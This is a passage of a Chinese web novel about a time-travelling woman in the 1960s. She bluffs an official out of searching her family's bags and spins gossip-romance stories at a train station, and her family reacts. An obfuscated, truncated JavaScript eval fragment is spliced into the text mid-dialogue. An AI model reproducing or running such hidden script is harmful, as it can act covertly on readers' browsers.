“我请求组织对所有人一视同仁,对我们这样的弱势群体给予更多关爱和帮助。毕竟我们也想和大家一样用上布包,但割委会来我们家当着全镇人的面,搜的干干净净。这皮子是新鲜的,是实在装东西的包了,我男人冒险去山上弄的。” 这番话一出,局面又一变—— “割委会去抄过家了啊。那肯定不会剩下啥好东西了。” “连做包袱的布都没了,真惨。” “你们看那小孩,他那个包袱皮全是补丁,看来还连我们都比不上。” “他们的衣服看起来也不干净,好多补丁啊,一看就不暖和。” “我就说,他们一看就不像坏人。” 陆父低头看了看自己被缝的歪七扭八的棉袄面子,这才明白好好的袄子为啥林晚霜非得搞成这德行。 他当时还很不满意,觉得不体面。现在看来这是儿媳妇早有准备。 然而他不知道的是,林晚霜把棉袄表面缝了几层布头,不仅是为了伪装,更是为了多带点布头过去边疆。 这些布头现在看起来脏兮兮破破烂烂,那是她故意弄的。 等到了下放的地方拆下来洗一洗,又是好布头。 “这不是被逼到绝境,谁会为了做个装东西的包,去山上和野猪对上啊,”她还在哭诉,“就这样,这皮子也用不了两回。你们看,这针脚粗的,这皮子都没硝好。” 她转向中年人,满脸希冀:“领导,检查完我们都包没问题的话,能不能随便给点布料?我怕这皮子在路上不要几天,就烂了臭了。” 中年男人脸色扭曲,他上前一步,想看清皮包的针脚。 林晚霜赶紧催促陆沉舟:“当家的,快点,这么多人看着呢,领导愿意拿布和咱们家换这两个皮子包,你快点卸下来,把东西倒出来。领导说话算数,布肯定马上就拿来。” 中年人脚步一顿,狐疑地看着他们。 陆沉舟很配合的立刻上前将包摘下来:“领导,太感谢您了。” 他动作轻松,看上去那包虽然鼓,却是不重。 中年人后退一步,避开他递过来的包:“这里头装了什么?怎么轻飘飘的?” 哪里轻了? 陆父和陆星野都是茫然,那包明明重的他们抬都抬不动。 林晚霜立刻说:“衣服啊,我婆婆没了,我是新媳妇不太会收拾,好不容易强塞进去了。其实里头也没多少东西,所以麻烦主任您等会儿找几个大娘规整规整。” 她喜滋滋的算计着:“两个皮子包换两个布包,您在让人帮忙拾掇拾掇,一个布包应该就能把我们都家当都放下了,再白赚您一个布包留着去边疆用。嘿嘿。” 中年人此时已经看清,这皮子果然是新制的,有股子难闻的臭肉味,针脚也很粗糙,他不由得嫌弃起来。 “我可没说用布和你换,”此时听到她明晃晃的算计,他立刻说,“我们这种贫苦大众,还是用粗布合适,皮子包太腐败了,影响不好。” “主任,您放心,这皮子就算去找老匠人再硝也不合适,所以不会让人觉得您腐败的。您把它当块肉拿回家煮了吃就行。”她急了,那模样恨不得现在就给他腾包。 “用布料换野猪皮吃?你疯了还是我疯了?”中年人确定这女人已经想布料想的发疯了。 他有多余的布拿去换肥肉吃不好吗?换一块野猪皮? 他立刻后退:“你们一家快上车,别耽误大家时间。” 陆父没想到一场风波就这样化解了,他担心夜长梦多,立刻起身就要上车。 陆星野赶紧跟上。 中年人看陆父如此心急,总觉得有哪里不对劲。 林晚霜发现不对,立刻又扬声对知青们说:“大家有没有愿意拿布和我换皮子的?我不挑,只需要帮我把皮子包里的东西,腾到布包里就行。” 中年人松了口气:这家人合着还想用破皮子坑人家布呢。 但又不是坑他的,谁要是犯傻去换,他也不会拦。 车上的知青们都是一怔,这吃瓜要吃到自己头上来了? 陆沉舟立刻跟上,两手各拎着个包,往车上放:“一个布包换两个皮子包也行,只要能帮忙腾放好。” 陆父快吓死了,他紧紧握住手中的棍子,真怕有人来换。 林晚霜跟着来了句:“一个布包加一块桌子大的布才可以换。咱们得多囤点布去边疆,大家帮帮忙吧。” 知青们都避开脸去,谁也不敢搭理她。 他们是有理想有热血的青年,他们也很同情这家人居然连个布包都拿不出来,但他们不是傻子。 用自己结实的布包去换一个只能用几天就可能会烂了发臭的皮子包? 开玩笑吧。 看所有人都上了车,中年人拉开副驾驶的车门正要上去。却见陆父神态放松,仿佛并不在意无人和他们换布包的事。 他立刻停下脚步,往卡车后厢走去。 35. 第 35 章 林晚霜刚刚把包塞到角落里,就看到那中年人没有上车,而是朝着他们走来。 陆星野和陆沉舟两兄弟此时正在清理座位,陆父则放松了身体,眉梢眼角都带着喜色,嘴角微微上翘,手指放在卡车外沿轻快地敲击着。 她顿时明白,陆父太放松了,一点儿不像是个没换到东西的人。 而那中年人的确也足够敏锐,看来刚刚她那番表现还是没能完全打消他的怀疑。 行,那她就再来一次。 想到这里,她自然地朝陆父走了过去:“爸,您放心,这里换不到布没关系。咱们到时候可以问问火车站的人要不要换。” 陆父正在为逃过一劫开心,此时见她突然说这话,下意识就要反驳:“沉舟媳妇儿,这包的事不是……” “这包的事肯定有指望的,”她立刻抬高声音打断陆父的话,“这毕竟也算是肉呢,要不我等会儿再去问问那个主任。我看他人挺好的,多求求情,应该愿意给我们换一个?不然皮子万一烂路上了……” 中年人脚步一顿,立刻转身快走回副驾驶坐。 他觉得自己果然想多了,这家人压根没油水,而且都穷疯了。再不走这疯女人万一当众硬要拿破皮子换他的布就不好了。 车很快发动起来。 陆父还在疑惑:“你和沉舟真的决定要拿皮子换布?可咱们……” 他想说,咱们布挺多的呀。 他们四个衣服底下都缠着布,身上袄子也缝了布头。哪里真的就缺做包的布了。 难道一孕傻三年,儿媳妇从现在开始就傻了? 然而他的话被陆沉舟打断。 陆沉舟看着他的眼睛:“爸,出门在外,谨言慎行。” 出门在外! 陆父忍不住颤抖了一下。 是啊!出门了! 他都窝在家里五十多年了,怎么就出门了呢? 陆父这辈子去过离家最远的地方就是陆母的娘家。 别的地方,就连T市市中心,有事他也是让人跑,他自己是绝对不要去的。 是的,不要,而不是不敢。 他猛地抬起手将毛毡帽子使劲儿往下拽,企图盖过脸上的惶恐。眼珠子不停地转动着,喉结上下滚动。 他居然要出门了,,坐着他没坐过的卡车,接下来他还要坐那个什么会喷火的大车。去那个几千公里之外的边疆。 外头有啥好的呀,当年大哥问他要不要跟着出去打仗,他拒绝了。 后来三弟四弟也来问他,他说他得侍奉老人,也拒绝了。 怎么到了现在,他还是得出去呢? “沉舟啊,”陆父开口,声音打着颤儿飘了出来,“边疆那边人长啥样啊?他们说的话和我们一样吗?” 陆沉舟对边疆的了解还是来自林晚霜呢。 此刻他看向她:“要不你来说?” 林晚霜立刻明白,他这是让她讲故事把陆父安抚住,不过这也正合她意。 她正好也想提前和他们透露一些边疆那边的事。 想到这里,她立刻和小爱沟通,让它根据他们下放地点的真实情况,虚构出一篇符合这个年代特色的短篇小说。 “我给爸讲个故事吧,正好是咱们下放那边的,”她看着已经生成好的故事,起了个头,“来自海市的姑娘张秀梅,积极响应组织号召来到了边疆……” 一旁本来不想和他们接触的知青在她的故事中,慢慢地聚拢过来。 “……张秀梅搓了搓冻的发冷的手臂,看向月光下的地窝子。和上午的炎热不同,边疆的昼夜温差特别大……” 真实的人文地貌加上主旋律故事,听的人如痴如醉,欲罢不能。 “原来我们要住的是地窝子啊,”陆星野低声说,“哥,这真的是故事吗?她是怎么想出来的?” “多看书,多学习,”陆沉舟看着他一脸认真,“星野,你嫂子这种认真学习的精神非常值得你学习。” 陆星野吐了吐舌头:“我还是不信,一个人咋就能变化那么大?她这,这不会是被鬼上身了吧?” 陆沉舟想了想,还是没把摔失忆的事告诉他。小孩子好奇心重,万一他去效仿就不好了。 谁能保证都能摔聪明? 但是封建迷信是绝对不可取的。 “多看书,多学习,你嫂子这就是最好的例子。你看她能说出这么多东西,就知道她一定没少用功。” “她成绩特别烂!”陆星野非常不服气,“谁不知道她每次考试都不及格啊?” “这说明你嫂子不是考试型选手,”陆沉舟有自己的见解,“你看她知道那么多,说明她没少在背后用功。” 陆星野顺着哥哥的话回忆了下,当即打了个寒颤:搞笑呢不是?林晚霜会在背后看书学习?学习什么?碰瓷诈骗仙人跳吗? 那她真的不用学,因为她已经是大师级了。 不过如果他哥说的不对,那又该如何解释林晚霜现在的变化呢? 算了算了,她咋变都不是他一个小孩能操心的事。他应该操心的是他哥的人生大事:“哥,就为了一个孩子,你真不打算和林晚霜离婚了?” 陆沉舟想起那个不存在的孩子,眼睛眯了起来:“你说,如果你嫂子没怀孕,我也不想离婚,爸会怎么样?” 陆星野夸张地笑了声:“没怀孕?那爸肯定以死相逼让你离婚。毕竟咱爸一直不喜欢林晚霜,觉得她名声太差了。” 陆沉舟沉默了,他毫不怀疑这是陆父会做出来的事。 陆父和陆母还不太一样,陆母可能会一个人可怜,弱小,就会不顾一切地去帮助。 而陆父,他帮人还要考虑这个人的名声好不好。 看来孩子的事始终是个问题,他需要好好想想到底该怎么才能妥善处理。 “……张秀梅在冰河滩边找到了芦苇杆。芦苇杆富含大量的淀粉,实在没有食物的时候,可以吃……” 因为知青们都在听,她就在故事里塞了很多私货,把从小爱那里弄到的一些冷门知识全部讲了出来。 她原本只是想着,知青们多听一些,万一记住了以后可能能多些活下去的希望。 却不知道,在不久的将来,她也会像故事中的张秀梅一样,因为失去了食物,只能在边疆的冰原上艰难求生。 卡车到达火车站时,林晚霜的故事还没讲完。 “下车了,下车了!知青专列已经到站了!”知青委的小干事从前面车上下来,举起个铁皮喇叭开始喊。 现在的车管制的不严。卡车前座仓位里,除了司机外还塞着两个人。 “林大姐,”排队下车的时候,一个长相甜美可爱的女知青期期艾艾地叫住了她,“刚刚那个故事是您写的吗?我觉得特别好,都可以上报了。” “是啊是啊,”排她前面的一个戴眼镜小青年立刻转头过来,“林大姐的文学作品,特别符合时下焦点。我在《人民文学》就看到过类似的故事。” 他的话立刻得到了更多人的支持和响应。 陆星野被这些人的话吓到,他抬头问他哥:“林,嫂子还能当大作家?” 林晚霜从来没想到作文写的跟流水账一样的自己,居然有被人恭维是大作家的一天。 不过,这倒是给了她一个灵感。 如果她能掌握笔杆子,那么他们在边疆的日子无疑会好过很多。 她立刻让小智查了可以投稿的报刊和投稿要求。结果有五家。不过都是以政治宣传为主,主要接受诗歌和采访稿。文学作品只接受纪实文学。字数通常在3000字以内。 这对她来说无疑是件好事,在边疆写真实的人,真实的故事。再稍微改一点点内容。 对她这种写惯了工作汇报的人来说并不困难。 想到这里她诚恳的向这些给她提供了新方向的知青们一一道谢。 “你们在瞎磨叽个啥呢?”中年人看车停了半天人还不下来,从副驾驶座跳了下来,夺过小干事手中的喇叭,“知青专列就等你们对吧?你们不去人家都不敢开了?” 围在林晚霜身边的知青们立刻披散开,涌入了火车站。 中年男人看着林晚霜冷笑一声:“你还真是喜欢出风头啊。” 林晚霜立刻堆了笑,上前要拉他:“主任,换皮子吗?现在我们急着出手,只要20尺布……” 中年男人立刻转身快步上车:“快开车!快点回去!” 卡车从四人旁边离开。 包和被子都还放在地上。 陆星野看着远去的卡车讷讷自语:“他们就这样走了?不开包检查了?” “走吧,我们也进站。”陆沉舟已经背起了包,拎起了被子包裹。 “这就是火车站啊,怪大怪吓人的。”陆父杵着棍子,颤巍巍抬头看着面前高大的建筑上T市火车站几个大字。 林晚霜看了眼火车站,红砖墙,只有一层,很小,显得陈旧而苍老。 就站在这里她都能听到里面火车鸣笛声,嘈杂的说话声。可见这隔音有多差。 “好大呀,”陆星野看呆了,“比咱们家院子大好多好多,比祠堂也大。哥,那火车得多大啊?” 火车多大他们暂时是看不到了。 这里就一个站台,知青专列还没开走,他们要乘坐的货列是从京都出发,路过T市。 四人走进候车室。 这个年代的候车室椅子都是砖石垒的,没有热水供应,也没有食品售卖。 候车室和站台只隔着一道木门。这年头出行不方便,此刻知青们都在站台上,候车室只有他们一家人。 林晚霜去了旱厕小解。出来的时候,发现陆沉舟在门口等着。 “怎么了?”她下意识看了看自己。 陆沉舟晃了晃手中的小瓷瓶:“给你上药,早上是不是裂开了?” “在这里?”她下意识地看了看周围,的确没人,但是大白天的,在这里脱衣服,多少有些羞人。 “那等到上了车去厕所给你上?” 林晚霜想了下,她倒是坐过一次绿皮火车,那厕所狭小到转身都困难。 如果这个年代的火车和她坐过的那种一样,到时候两个人只怕是得贴在一起了。 和老板贴在一起?! 太暧昧了!死脑子不准再往下想了! 两害取其轻,她心里有了决断二话不说开始解扣子脱衣服。 天很冷,她脱的很快,没有地方放,衣服就只能抱在自己手上。 陆星野是进来上厕所的,结果刚刚走进就看到林晚霜抱着一堆衣服面朝着墙。他那冷酷严肃地哥哥,用手指蘸着点什么在林晚霜的肩头涂抹。 陆星野吓得尿意全无,他转身疯狂往候车室冲。 “爸,爸!”陆星野对着正在吃麦饼的陆父喊道,“我哥在厕所外头把林晚霜的衣服扒了!” “啪嗒”一声,麦饼掉在了地上,陆父喉结滚动,一块还没充分咀嚼的麦饼强行滑进食管。 他转过头,看着小儿子,手在抖,脸颊在颤:“啥?你说啥?你哥光天化日之下,就把媳妇按在厕所扒了衣服?!” 家门不幸啊!居然出了如此色中恶鬼! 陆父杵着棍子,一步三抖,强撑着身体,带着满腔怒火往厕所而去。 人还没到他已经愤怒开声:“陆沉舟!你这个畜生!真是不知廉耻!” 售票处原本闲的吹牛打屁的两个售票员耳朵猛然竖起,眼中涌现出对八卦的渴望。 林晚霜正在穿衣服的手一顿,狐疑地看向面前耳尖红透的陆沉舟:“你对你爸做啥了?他怎么这么生气?” 陆沉舟想了一遍今天发生的事,突然变了脸色:“该不会是我问星野,如果爸知道你没怀孕会怎样,结果他说给爸听了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆父越想越害怕,越想越担心。已然忘了自己冲过来的原因,他扶着陆沉舟的手,泪光涟涟:“沉舟啊,别怕,有病咱就好好治。” 陆沉舟完全没搞懂到底发生了什么。 事实上,对于他这个还没开过荤,平时又一向洁身自好,而且因为过早升职失去了舍友的纯情硬汉来说。陆父刚刚一系列的话,都跟打了加密电码一样复杂。 他下意识地看向林晚霜,想请她给自己解惑。 林晚霜避开他的目光,趁陆父抓着他喋喋不休之时,偷偷往外溜。 没办法,这里涉及老板太多隐私了。 未来的金牌助理兼王牌助手更需要懂得主动回避,特别是关于这种“男人行不行”的死亡话题。 今日份打工人也是非常棒的呢!她在内心利落的给自己的表现点了赞。 一转身就看到藏在厕所外,跟贼一样偷偷摸摸往里看的陆星野。 她坏心眼地走过去,绕到他身后,然后猛地一拍他肩膀。 “啊!”陆星野大叫一声,吓得抱着头跳了起来然而在看清来人后,他生气了,“林晚霜你不是和我哥在厕所扒了衣服……” 林晚霜发现两个售票员站窗口侧着耳朵听,立刻捂了他的嘴:“别乱说话!” 她对着售票窗口笑:“小孩子造谣,哈哈哈,姐姐们别信。” “不信不信,我们从来不信谣不传谣。”扎着两根麻花辫的中年大姐立刻说。 林晚霜一看她那骨溜溜乱滚的眼珠子就知道,这位八成是个大喇叭。 还不信谣不传谣?估计不要一天,T市就会充满她的黄谣。 不过没关系,反正今天之后多半也不会再见了。 既然已经为别人的八卦事业贡献了谈资,那她也得让对方为她贡献点什么才不吃亏。 一刻钟后,陆星野看着已经混到两个售票员一边一个将人拉住喊大妹子的林晚霜。 她兜里手里被塞了桃酥和大白兔,脚边还放着两个灌满了水的便携水壶。 “就这么说定了啊,”一个年轻点的售货员亲热的拉着她的手,“等货列来了,我就跟你一起过去,我去和姚哥说让他多照顾照顾你。” “妹子,你到了修水县那边,就报我王根英的大名,到时候热水可以免费接。还能让你去擦个身。”中年售票员不甘示弱,“你到了修水县,没几个小时就要下车了。那边再想擦身可就不容易了。” 林晚霜明白她们的意思,立刻一口一个“好大姐”喊了起来。 三人哈哈笑做一团,又开始叽叽哇哇讨论起林晚霜的八卦。 是的,她给自己编了个追妻火葬场的虐心虐身文学。 这两六十年代的淳朴女人哪里听过这么狗血曲折又催泪的爱情故事。一下子就上头了。连带着对她这个“当事人”倍加怜爱。 陆沉舟和陆父出来的时候,就看到自己弟弟一脸严肃地拖着他去到一边。 “哥,虽然我不喜欢林晚霜,但你也没必要噶她腰子吧?”陆星野皱着眉,“还有,你干啥要囚禁她,捆绑她?” “啊?”陆沉舟完全不知道今天陆父和陆星野都怎么了。 一个拉着他的手劝他想开点,他当时就问了“我哪里想不开?”陆父却是擦着眼泪说“果然,我知道你就是想不开。” 两人鸡同鸭讲了半天,陆沉舟到现在还纳闷呢,陆父到底在打什么哑谜?能不能直接告诉他他到底是哪里没想开? 一个拉着他的手问他为啥要噶他媳妇儿的腰子,囚禁和捆绑他媳妇儿。 什么嘎腰子,囚禁和捆绑?这都是什么玩意儿啊。 陆星野见他脸上的疑惑不似作伪,终于好心的给他指了条明路:“你去售票站那里自己听听吧。” 36. 第 36 章 “他红着眼对我说,乖乖,笑一下,命都给你。” “啊!” “啊!” 两个售票员如土拨鼠般捧脸低声尖叫。 陆沉舟还没走近,过分优秀的耳力已经让他忍不住皱眉:笑一下,命都给你? 她丝毫没发现危险正在靠近。 她继续抛出霸总经典语录:“我一直挣扎,不小心打到了他的胸膛,他一把攥住我的手,对我说“女人,你这是在玩火”,我吓得……” 她一边说一边观察两个听众的反应。突然感觉她们的表情有些奇怪。 视线盯在她身后,表情好像是惊恐,但又带点僵硬。 她突然警觉起来,目光顺着她们视线慢慢回头望—— 陆沉舟正站在离她有一百多米的地方。 她突然有些心虚:按理说她声音不大,这个距离他应该没听到什么吧? 虽然这样安慰自己,但这一瞬间,她脑海里全是知乎体—— 求助,我背着老板造他的黄谣,然后被他当场抓住,现在要怎么才能合理狡辩才不会被开?在线等,挺急的。 年轻点的售票员小周,她捅了捅林晚霜的手臂:“那个穿破袄的男人,就是噶你腰子,逼你给他的青梅竹马输血的渣男?” “不对,他明明是红着眼命都给你,在村口堵住你说,女人你插翅难逃的深情少年!”中年售票员方大姐立刻为心中的绝世好男人激情站队。 “你特么是不是有病,那明明是渣男!”小周忍不住开喷。 “你才有病,明明是深情少年。”方大姐双手叉腰,激情喷麦。 “他之前还噶小林腰子!” “他是被坏女人骗了,他还把腰子给小林安上了。” …… 林晚霜伸着手试图阻止她们的激情对喷,可她还没开口就被推来攘去,完全没有插话的机会。 回头再看一眼陆沉舟,好嘛,这么大的动静,只要他不是个聋子。就不会听不到。 她尴尬地看着脚边两个便携水壶,脚趾差点当场抠出个三室一厅来:抱到一半的大腿要飞了,现在怎么办? 一刻钟后,林晚霜坐在长椅上努力缩着身体,企图减少自己的存在感,陆父陆星野和陆沉舟站在她面前,齐齐看着她。 “沉舟媳妇儿,你真的被噶腰子了?”陆父率先发问。 “可是我哥的青梅竹马是谁啊?小慧?”陆星野挠破头皮。 “林晚霜,你是不是该给我一个合理解释?”陆沉舟发动致命一击。 两个售票员在不远处努力探着上半身,脸上满满八卦。 林晚霜忍住想要双手抱头的冲动,努力措辞重:“我,我就是想讨点热水,结果她们拉着我问厕所扒衣服的事。我想转移话题,结果……” 结果说着说着,在两人的捧哏和追问下,她不小心放飞自我,结合前世博览的无数霸总鱼塘和追妻火葬场短剧…… “结果?”三人齐齐出声。 林晚霜低下头看自己脚尖,声音细若蚊呐:“我就艺术夸张了那么一点点……” 陆父瞪大眼睛,杵着棍子的手臂青筋暴起,他一只手捂着胸口喘着粗气:“你在说谎?” 陆星野立刻指着她开骂:“你个坏女人,你怎么在到处败坏我哥的名声啊!哥,等她生完孩子就快点和她离婚吧!” 陆沉舟没说话,他扶着陆父去一旁的长椅上坐下,又拧开水壶给陆父喝水。 林晚霜也不知道自己是怎么了,居然能犯下如此低级的错误。 难道是因为在卡车上讲故事,让她第一次收获了那么多不带恶意的赞扬,让她有点飘了? 所以明明是去和两个售票员套近乎讨点热水的。然后被人追问在厕所扒光衣服做了啥,她光想着转移话题。 结果说着说着在两个大姐的捧哏下,她居然开始编上故事了。 没用小智,全程即兴发挥。 依托强大的霸总狗血剧,提前客串了一把“作家”,拿着自己和陆沉舟当素材,创作出了“我在六零被霸总追妻火葬场”的狗血故事。 然后被正主当场抓包,现在被陆家人集体追问。 今天的她,完全沉迷在被人夸奖的虚荣中,完全失去了一个金牌特助该有的素养! 她此刻竟然有些自我厌弃:难道上辈子那个秃头领导说她不适合身居高位是对的? “对不起,都是我的错。”她眼泪一下子落了下来,匆忙起身往厕所冲,她现在需要一个人安静安静。 看她起身,陆沉舟立刻想要追上去,却被陆父一把拉住手:“沉舟,我之前顾着孩子不能没妈,还有离婚的名声不好听阻止你离婚。但是现在我觉得和这样的女人在一起你的名声只会更差,我们陆家的孩子也会被祸害了。要不等她生完就和她离婚吧!” “对,哥,和她离婚!”陆星野在一边疯狂点头。 “爸,星野,”陆沉舟认真地看向他们,“不管怎样,我都不会离婚的,我相信她有分寸,相信她做的一切都是为了我们好。就拿这开水和糕点来说,没有她,我们能弄到吗?” “那更说明她心术不正!”陆父义正言辞,“你看早上的情况,正常人哪里会那么奸诈?她眼睛都不眨就扯了这么大的慌,把一车的人都骗了。我看娶她真不如娶小慧,至少小慧老实又乖巧。” 陆沉舟放在身侧的双拳已紧紧捏起,他提醒着自己陆父的身体不能受气,身为人子必须恪守孝道。 许久,他才努力收起了愤怒,尽量平静的说:“总而言之,媳妇儿是我自己的,结婚是你们逼的,离婚我自己说了才算。” 他转头,看向旁边的陆星野:“再让我听到你说你嫂子坏话,别怪我揍你。” “可是哥,她公开污蔑你啊!”陆星野委屈地掉眼泪,“这些话万一被人当了真,你得去游街,挨枪子儿。” 陆沉舟叹了口气,知道这是弟弟对他的关心。 他蹲下身,伸手摸了摸陆星野毛茸茸的头:“星野,哥跟你说,看一个人不能光听她说了什么,要看她是为什么这样说的。至于后果,没你想的那么严重。你嫂子做事说话向来很有分寸,以后我们一家人要拧成一根绳,相信哥,也相信你嫂子,好吗?” 陆星野向来是相信哥哥的,此刻哥哥这样说了,再想起早上开包检查的事,心里隐隐有了偏向:“好,我会去和她道歉。但是哥,她真的不是在害你吗?” “你不相信我?”陆沉舟蹲下身抓着他的双肩,看着他的眼睛,“你哥的判断什么时候出过错?” 陆星野重重抹去眼泪笑了:“我哥永远不会出错!” 搞定了陆星野,没再理会旁边一直劝他离婚娶小慧的陆父。陆沉舟朝着不远处探着身打量他们的两个售票员走去。 “同志,我媳妇儿是一个作家,”他走到近前开口道,“她很擅长写故事,刚刚她和你们说的是她正在构思的一个短篇故事。” 两个售票员内心疑惑:什么故事还能写成这样? 然而面前的男人态度诚恳,又是一身正气,她们实在无法把他和那个动不动就红眼掐腰的疯批联系到一起。 小周最先接受这个说法:“怪不得说噶腰子,我就寻思了咱们T市没哪个医院敢做这种事。对了同志,你真的有青梅竹马吗?” 陆沉舟肃着脸,回答地正气凛然:“绝对没有,我只有她一个女人。” 小周立刻松了口气,轻拍胸脯:“那就好,你媳妇儿讲的故事刚刚听的我可生气了。” 方大姐凑上前,指了下远处的陆星野:“那小男孩是你弟弟吧?他之前说你在厕所把你媳妇儿按住扒光了衣服,是真的假的?” 陆沉舟眼眸中略过暗色:原来是星野先说错话的,他就知道林晚霜绝不可能无缘无故和别人讲他们的故事。 只是她的故事……难道她内心深处竟然希望自己对她做那样的事,说那样的话吗? 然而此时在两个售票员充满八卦的目光中,他没有时间多想:“是这样的,我媳妇儿这几天肩膀受了伤,医生说得抹药,不能再受伤。今天上午我父亲走不动了,她驮着我父亲走了一个多小时,肩膀破了。我想着货列上不一定有地方给她擦药。刚刚就给她涂了个药,被弟弟看到误会了。” 原来真相居然是这样。 两个售票员一瞬间都有些失望,突然她们又兴奋起来:“你媳妇儿刚刚说的那个故事写完了吗?能不能给我们看看?” 陆沉舟笑着回答:“实在抱歉,这种故事只是她私底下的爱好,所以并不会写出来。她应该是把你们当做了一见如故的朋友才会同你们说,毕竟这样的故事传出去不太好。” 两个售票员立刻接受了这个说法,失望之余又有些开心:“你媳妇儿人真好,就是可惜这故事才讲了一半。” 陆沉舟回头看了看厕所方向,有了主意:“两位大姐知道这只是个虚构的故事,只要不当真,如果想听下去,可以去问问我媳妇儿能不能继续讲。” 两个售票员对看一眼,小周便走出了售票站:“我去问问你媳妇儿。” “多谢,”陆沉舟立刻说,“刚刚我爸和弟弟对她有些误会,他们不像大姐您这样思想先进,不理解故事和现实的区别。她进厕所去半天了,我怕她在里面哭,麻烦大姐帮忙劝劝她。我爸和弟弟那边我会管着的。” 小周停住脚步,抬头认真的打量他:“你不介意她拿你编故事?” “大姐也说了,那是编的故事。”陆沉舟最开始的确是有点介意,所以才跟着家人一起质问,可现在他想清楚了,故事就是故事,总不能心中她喜欢讲故事,就和她置气吧。 她这故事是离谱了点,猎奇了点,但是她之前还往自己身上编排了更离谱的借尸还魂。现在编排他,大概的确是夫妻一体,把他彻底当自己人了。 他难道会因为媳妇儿不拿他当外人,和他一条心就去生气吗? 小周看他满脸真诚,的确是毫不在意自己被编排的样子,语气中多了些羡慕:“现在我完全相信那只是个故事了,你这样的是绝不可能会因为别人的挑拨就误会和折磨媳妇儿的。” 两人一路又聊了几句,直到厕所门口,小周进去找人,陆沉舟在门口等。 在厕所找到林晚霜的时候,她已经没哭了。 她眼睛有点肿,神情也有些茫然,看着来找自己的小周,她语气里是难以置信:“周姐,你说是我男人让你帮忙找我的?” 怎么会呢?她这样编排他,任何人听了都该生气,绝不原谅才对。 她都做好了从陆家离开,自己一个人单打独斗艰难求生的心理准备了。 小周不知道她在想这些,拉着她的手宽慰她:“你男人真不错,他从头到尾都没怪过你。他甚至还问我,你是不是喜欢故事中的那种男人,可见他是真的心疼你,在乎你。” 这年头的人不流行说喜欢和爱。心疼和在乎已经是最深的表白了。 林晚霜不懂这其中的含义。她只是觉得这应该是他初步认可了自己。 果然他对自己就是战友兄弟情。 否则要是正常的丈夫听到妻子当故事讲,应该早就爆发家庭大战了吧。 不管怎么说,老板没生气就是好事儿,至于陆父和陆星野。只要面子上过得去就行了,她又不是真来这个家当媳妇儿的。自然不用在意所有人的想法。 明白自己的大腿还在,她自然也就满血复活了。 想到自己差一点真以为前世那个秃头领导的判断正确,她不禁哑然失笑:这就是所谓的选择大于努力,抱上一个可靠的老板大腿,真是想不起飞都难啊。 林晚霜和她挽着手走出厕所,就看到不远处的陆沉舟。 他手里拿着一个便携水壶和几块麦饼:“我刚刚请方大姐帮忙把饼加热了,快吃点吧。” 早上那口饭到这会儿了,林晚霜早饿的前胸贴后背了。 她接过饼,对他道了声谢。又问他:“你也还没吃吧?” 于是两人坐在长椅上,分吃着麦饼。 小周回了售票站和方大姐一起偷偷打量这两人。两人脸上都带着姨母笑。 “小周啊,你也守了这么多年,有没有想再找个男人?”方大姐忍不住揶揄起来。 小周闻言摇了摇头:“我男人活着的时候,屁本事没有,天天喝了酒就打我。好不容易死了,我可不想再找个麻烦。” “那你看人家小林,”方大姐指了指正在给林晚霜拧壶盖的陆沉舟,“她男人不是挺好?说明这世界上好男人不少。” 小周朝着陆沉舟看去:“是挺好,长的好,人更好。不过这对象啊还是看别人谈才有意思。世上女人多了去,谁能有小林这么好的运气?” “是啊,”方大姐被她一句话拉回了现实,“这小两口太少见了,就是不知道等会儿小林还会不会继续给我们讲那个故事。” 此刻林晚霜也在问:“你真的让我把那个故事给她们讲完?你一点儿都不介意吗?” “我介意什么?”陆沉舟笑着看她因为吃惊瞪圆的双眼,“她们已经知道那是你编的故事里,只是想听完整。而且,我也有点好奇。” 他是真的好奇,想知道她脑子里有多少稀奇古怪的东西。也好奇,她幻想中的男人应该是个什么样? 他对男女之情了解的不多,也没有什么亲近的女性朋友。他觉得听听她的故事,应该可以更了解她。 “你居然喜欢追妻火葬场?”她脱口而出。 天呐,难道这就是霸总和追妻火葬场之间的特殊感应?不对,他也不是霸总啊。 “什么火葬场?”火葬他知道,毕竟56年很多重要领导人集体签署了死后实行火葬的倡议书。 可是她怎么好端端提到火葬场了? 难道她也想死后火葬? 可是这会不会扯太远了?他们现在不是在说她那个故事吗? “我的意思是,”她开始绞尽脑汁找合理解释,“如果一个人一开始被别人说两句就误会自己的媳妇儿,做出伤害媳妇儿的事,等以后发现真相就会追悔莫及。毕竟已经伤透媳妇儿的心了,所以哪怕是死都很难再让媳妇儿重新接受他。” 陆沉舟在心里默默对比自己的情况:还好,除了她刚刚失忆时自己做的比较过分,后面他觉得自己做的还算可以吧? 应该,没伤到她的心?应该,不至于去火葬场? 半小时后,陆沉舟坐在离她们远一点的长椅上,认真听林晚霜讲故事。 就这一会儿,他已经感受到了严重的割裂感。 她心目中的男人到底是个什么样的神经病啊? 怎么一会儿“把世界上所有的糖都买下来,我的女人,不能尝到一点苦。” 一会儿“用你的血,救我的青梅竹马。她活,我娶你。她死,你陪葬。” 他最开始还想边听边学习下,现在却觉得,学不来,根本学不来。 他紧紧皱着眉,想找机会问问她,难道她内心是想让他像这样的男人靠拢吗?如果他做不到,她会不会很失望? 不远处陆父看着没出息的儿子居然真坐在那边听林晚霜编排自己,气的闭着眼睛发抖。 “爸,我觉得你有点问题,”陆星野还在劝他,“别的不说,你咋会觉得林晚霜今天早上做的不对?要不是她,咱们的肉干啥的,能保得住吗?” 陆父忍了又忍,最终还是忍不住:“不管咋样骗人就是不对,有那么多可以解决问题的方法,她为啥不去用?偏要这样骗人。” “还有啥方法?”陆星野立刻兴奋起来,“爸,你教教我。如果今早上她不撒谎,你有啥办法让那些人不开我们的包?” 陆父仔细想了又想,伸出手指颤巍巍指着他骂:“你个兔崽子是不是故意要气死我?” “不是啊,我真的想知道还能怎么办,”陆星野不明白好端端的陆父为啥要这么生气,“我也想学习一下。” 陆父被他的话噎 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火车车门打开,一个中年男人跳下车,他抓着个铁皮喇叭朝着候车室大喊:“去边疆方向的货列进站了!要上车的同志请带好行李,提前准备好介绍信,到站台排队上车!” 陆家人早已站在木门边上,小周挽着林晚霜的手走过来,打开木门,语气中尽是不舍:“故事还没讲完呢,我真舍不得你。” 